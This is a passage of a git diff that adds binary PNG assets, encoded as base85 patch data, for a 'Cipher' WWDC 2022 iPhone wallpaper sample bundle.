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 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/barcode 3.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/barcode 3.png new file mode 100644 index 0000000000000000000000000000000000000000..e7a5b3e39066f893d22182dc43d3c5c5abdf3c3b GIT binary patch literal 676 zcmeAS@N?(olHy`uVBq!ia0y~yV6pEakt!T9#t!BsMbJT4b2fBvucQ}U2hG?^PW`?A4}u+Yp8U)}8IpMU=Se*C`q^|Rx; zuU%KazijEX>MQ&HpMTbQZ|jw`^_A<+JbSx$(#@KSS$B;>{q?HOEw!!v=zsq9pEFPY ztj&M9`TJz^ziDb;=e?bGrCN99KD(c0x?Arp{`R-t%>T=}rDoM*D|6dc`548E8{cQEB z>p`>kKHF(Dd;52iRzem%LpQn8V=;L@K|l%yW%&Dub6PbQX>a!ser=+GoUMO$6cv~@dXTC$cUIhT&z$a4Rl4W o{wq5eA7~LDmo&u10y}yS$iFyduD~e7Wduqgp00i_>zopr05M7t1^@s6 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs bg.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/bhs bg.png new file mode 100644 index 0000000000000000000000000000000000000000..0d0fdbdfa8c8ebe630b5b0b6f4e90d46c4934da7 GIT binary patch literal 18451 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 